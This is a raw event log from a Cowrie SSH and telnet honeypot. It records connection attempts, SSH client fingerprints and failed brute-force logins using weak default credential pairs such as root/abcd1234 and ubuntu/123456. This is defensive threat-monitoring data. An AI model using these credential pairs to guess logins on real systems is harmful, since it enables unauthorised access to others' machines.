{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:35.701694Z","src_ip":"45.153.34.112","session":"a9bdc7678f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:35.951715Z","src_ip":"45.153.34.112","session":"a9bdc7678f3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":60844,"dst_ip":"10.17.0.5","dst_port":22,"session":"3661213638b1","protocol":"ssh","message":"New connection: 43.153.112.253:60844 (10.17.0.5:22) [session: 3661213638b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:36.413696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:36.417952Z","src_ip":"43.153.112.253","session":"3661213638b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:36.489989Z","src_ip":"43.153.112.253","session":"3661213638b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:36.799438Z","src_ip":"43.153.112.253","session":"3661213638b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:37.038224Z","src_ip":"45.153.34.112","session":"a9bdc7678f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.75771689414978,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:37.805098Z","src_ip":"192.119.13.58","session":"9674b884b275","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:37.875606Z","src_ip":"43.153.112.253","session":"3661213638b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52590,"dst_ip":"10.17.0.5","dst_port":22,"session":"0854097f4e7f","protocol":"ssh","message":"New connection: 45.153.34.112:52590 (10.17.0.5:22) [session: 0854097f4e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:39.332810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:39.336988Z","src_ip":"45.153.34.112","session":"0854097f4e7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:39.417906Z","src_ip":"45.153.34.112","session":"0854097f4e7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:39.663320Z","src_ip":"45.153.34.112","session":"0854097f4e7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:40.749546Z","src_ip":"45.153.34.112","session":"0854097f4e7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":59782,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a87a2132ccd","protocol":"ssh","message":"New connection: 186.68.83.105:59782 (10.17.0.5:22) [session: 0a87a2132ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:41.394316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:41.401605Z","src_ip":"186.68.83.105","session":"0a87a2132ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:41.490613Z","src_ip":"186.68.83.105","session":"0a87a2132ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazmko0","message":"login attempt [root/1qazmko0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:41.878491Z","src_ip":"186.68.83.105","session":"0a87a2132ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:42.972538Z","src_ip":"186.68.83.105","session":"0a87a2132ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57776,"dst_ip":"10.17.0.5","dst_port":22,"session":"e304614b4238","protocol":"ssh","message":"New connection: 45.153.34.112:57776 (10.17.0.5:22) [session: e304614b4238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:43.047159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:43.051640Z","src_ip":"45.153.34.112","session":"e304614b4238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:43.134708Z","src_ip":"45.153.34.112","session":"e304614b4238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:43.381527Z","src_ip":"45.153.34.112","session":"e304614b4238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:44.466133Z","src_ip":"45.153.34.112","session":"e304614b4238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.21953272819519,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:44.629315Z","src_ip":"192.119.13.58","session":"aa90718b11e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57790,"dst_ip":"10.17.0.5","dst_port":22,"session":"4433670a0509","protocol":"ssh","message":"New connection: 45.153.34.112:57790 (10.17.0.5:22) [session: 4433670a0509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:46.797100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:46.802715Z","src_ip":"45.153.34.112","session":"4433670a0509","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:46.885827Z","src_ip":"45.153.34.112","session":"4433670a0509","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:47.133522Z","src_ip":"45.153.34.112","session":"4433670a0509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:48.220649Z","src_ip":"45.153.34.112","session":"4433670a0509","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57736,"dst_ip":"10.17.0.5","dst_port":22,"session":"8082bbcf8641","protocol":"ssh","message":"New connection: 45.153.34.112:57736 (10.17.0.5:22) [session: 8082bbcf8641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:50.314758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:50.319279Z","src_ip":"45.153.34.112","session":"8082bbcf8641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:50.401843Z","src_ip":"45.153.34.112","session":"8082bbcf8641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:50.697622Z","src_ip":"45.153.34.112","session":"8082bbcf8641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:51.784550Z","src_ip":"45.153.34.112","session":"8082bbcf8641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39720,"dst_ip":"10.17.0.5","dst_port":23,"session":"affa8d49df7e","protocol":"telnet","message":"New connection: 192.119.13.58:39720 (10.17.0.5:23) [session: affa8d49df7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:53.311539Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57760,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f3ffa73d72b","protocol":"ssh","message":"New connection: 45.153.34.112:57760 (10.17.0.5:22) [session: 8f3ffa73d72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:54.101050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:54.105469Z","src_ip":"45.153.34.112","session":"8f3ffa73d72b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:54.234834Z","src_ip":"45.153.34.112","session":"8f3ffa73d72b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43514,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9f40a5adb31","protocol":"telnet","message":"New connection: 192.119.13.58:43514 (10.17.0.5:23) [session: b9f40a5adb31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:54.362934Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:54.611136Z","src_ip":"45.153.34.112","session":"8f3ffa73d72b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45050,"dst_ip":"10.17.0.5","dst_port":23,"session":"354732fa6cd6","protocol":"telnet","message":"New connection: 192.119.13.58:45050 (10.17.0.5:23) [session: 354732fa6cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:54.831357Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:55.812886Z","src_ip":"45.153.34.112","session":"8f3ffa73d72b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57768,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa8fa4e9da2e","protocol":"ssh","message":"New connection: 45.153.34.112:57768 (10.17.0.5:22) [session: fa8fa4e9da2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:57.826894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:57.834997Z","src_ip":"45.153.34.112","session":"fa8fa4e9da2e","protocol":"ssh"}
